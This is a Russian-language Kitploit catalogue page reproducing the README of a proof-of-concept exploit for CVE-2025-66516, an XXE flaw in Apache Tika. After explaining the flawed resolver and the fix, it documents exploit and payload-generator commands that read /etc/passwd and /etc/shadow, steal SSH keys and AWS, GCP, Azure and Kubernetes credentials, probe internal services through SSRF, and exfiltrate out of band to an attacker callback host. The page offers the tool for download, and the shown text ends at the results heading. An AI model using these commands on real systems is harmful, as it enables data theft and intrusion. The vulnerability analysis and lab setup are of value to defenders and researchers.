Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-66516-Writeup-POC — CVE-2025-66516 рабочий эксплойт, сканер, объяснение. | Kitploit
Инструменты/GitHubGitHub/chasingimpact/cve-2025-66516-writeup-poc
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
chasingimpact/cve-2025-66516-writeup-poc

CVE-2025-66516-Writeup-POC

CVE-2025-66516 рабочий эксплойт, сканер, объяснение.

Репозиторий
1023110 месяцев назадЕщё не проверено

CVE-2025-66516: Критическая уязвимость XXE в Apache Tika

image

Краткое описание

CVE-2025-66516 — это критическая уязвимость внедрения XML-внешних сущностей (XXE) в Apache Tika с оценкой CVSS 10.0 (максимальная степень серьезности). Уязвимость позволяет удаленным злоумышленникам читать произвольные файлы, выполнять подделку серверных запросов (SSRF) и похищать конфиденциальные данные путем загрузки специально созданного PDF-документа, содержащего вредоносное содержимое XFA (XML Forms Architecture).

АтрибутЗначение
ID CVECVE-2025-66516
Оценка CVSS10.0 (Critical)
Дата раскрытия4 декабря 2025 г.
ПоставщикApache Software Foundation
Затронутый продуктApache Tika
Вектор атакиСеть (удаленно)
АутентификацияНе требуется

Затронутые версии

КомпонентУязвимые версииИсправленная версия
tika-core1.13 - 3.2.13.2.2+
tika-parser-pdf-module2.0.0 - 3.2.13.2.2+
tika-parsers1.13 - 1.28.52.0.0+

Важно: Этот CVE заменяет CVE-2025-54988, в котором ошибочно указывалось, что уязвим только PDF-модуль. Фактически уязвимость находится в tika-core.


Технический анализ

Уязвимость

Уязвимость представляет собой дефект внедрения XML-внешних сущностей (XXE) в том, как Apache Tika обрабатывает данные XFA (XML Forms Architecture) внутри PDF-документов.

Проблема: Tika полагается на базовые XML-парсеры Java (в частности, StAX-парсер) для чтения XFA XML-содержимого. В уязвимых версиях не удавалось корректно настроить парсер для отключения разрешения внешних сущностей. Когда парсер встречает запрос внешней сущности (например, SYSTEM "file:///etc/passwd"), он разрешает его и возвращает содержимое файла.

Местоположение: Ошибка существует в XMLReaderUtils.getXMLInputFactory() в tika-core:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- Неэффективно
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER предназначался для блокировки XXE путем возврата пустого результата, но он возвращал String вместо ожидаемого InputStream. Стандартный StAX-парсер JDK молча игнорировал этот некорректный тип возвращаемого значения и возвращался к поведению по умолчанию, которое разрешает внешние сущности.

Исправление (Tika 3.2.2)

Исправление явно отключает поддержку DTD и внешних сущностей на уровне фабрики:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

Кроме того, резолвер был изменен для возврата корректного типа InputStream.

Случайная защита Woodstox

В экосистеме Java существует множество библиотек XML-парсеров. Приложения используют тот парсер, который сконфигурирован или найден первым в classpath.

Что такое Woodstox? Woodstox — это высокопроизводительный StAX-парсер XML с открытым исходным кодом, обычно поставляемый вместе с Java-приложениями.

Как он обеспечивает защиту: По замыслу (а не случайно), реализация Woodstox корректно обрабатывает тип возвращаемого значения XMLResolver. Когда Woodstox получает строковое возвращаемое значение от IGNORING_STAX_ENTITY_RESOLVER, он интерпретирует его как допустимое пустое содержимое, эффективно блокируя XXE.

Критическое различие:

  • tika-server-standard.jar включает Woodstox — НЕ УЯЗВИМ
  • tika-core + модули парсеров (встроенное использование) НЕ включают Woodstox — УЯЗВИМ
  • Приложения, использующие стандартный StAX-парсер JDK — УЯЗВИМЫ

Быстрый старт

Проверка уязвимости

# 1. Запустите лабораторную среду
docker-compose up -d --build

# 2. Проверка на уязвимом Tika (JDK StAX, порт 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. Извлечение /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. Сравнение с защищенным Tika (Woodstox, порт 9998)
python poc/exploit.py --url http://localhost:9998 --check

Лабораторная среда

Структура каталогов

CVE-2025-66516/
|-- docker-compose.yml              # Оркестрация лаборатории
|-- vulnerable-tika/
|   |-- Dockerfile                  # Tika с Woodstox (защищен)
|   +-- Dockerfile.jdk-stax         # Tika без Woodstox (УЯЗВИМ)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask-приложение для загрузки
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # Инструмент автоматической эксплуатации
|   +-- generate_payload.py         # Генератор вредоносных PDF
+-- README.md

Сервисы

СервисПортОписание
Веб-приложение8080Фронтенд загрузки документов
Tika (Woodstox)9998Защищен — НЕ уязвим
Tika (JDK StAX)9997УЯЗВИМ — без Woodstox
Слушатель атакующего9999HTTP-сервер для OOB-тестирования

Запуск лаборатории

docker-compose up -d --build

Инструменты доказательства концепции

1. Инструмент автоматической эксплуатации (exploit.py)

Полноценная эксплуатация с автоматической генерацией полезной нагрузки и извлечением данных.

# Проверка, уязвима ли цель
python poc/exploit.py --url http://target:9998 --check

# Чтение локальных файлов
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# Кража метаданных AWS (экземпляры EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Секреты Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets

# SSRF к внутренним сервисам
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# Сохранение извлеченных данных
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. Генератор полезной нагрузки (generate_payload.py)

Генерирует вредоносные PDF-файлы для ручного тестирования или интеграции с другими инструментами.

# Генерация нагрузки для конкретного файла
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# Генерация SSRF-нагрузки
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# Генерация нагрузки для OOB-эксфильтрации
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# Использование пресетов режимов атаки
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# Список доступных режимов атаки
python poc/generate_payload.py --list-modes

Доступные режимы атаки:

  • file_read — чтение локальных файлов (/etc/passwd, /etc/shadow и т.д.)
  • ssh_keys — кража приватных ключей SSH
  • aws_metadata — метаданные AWS EC2 и учетные данные IAM
  • gcp_metadata — токены сервисных учетных записей GCP
  • azure_metadata — токены управляемых удостоверений Azure
  • k8s_secrets — учетные данные сервисных учетных записей Kubernetes
  • webapp_configs — распространенные конфигурации веб-приложений
  • ssrf_internal — проверка внутренних сервисов

Результаты тестирования

Уязвимая конфигурация (JDK StAX — без Woodstox)

Тестирование против Tika 2.9.2 без Woodstox (имитация встроенных развертываний):

Скачать инструмент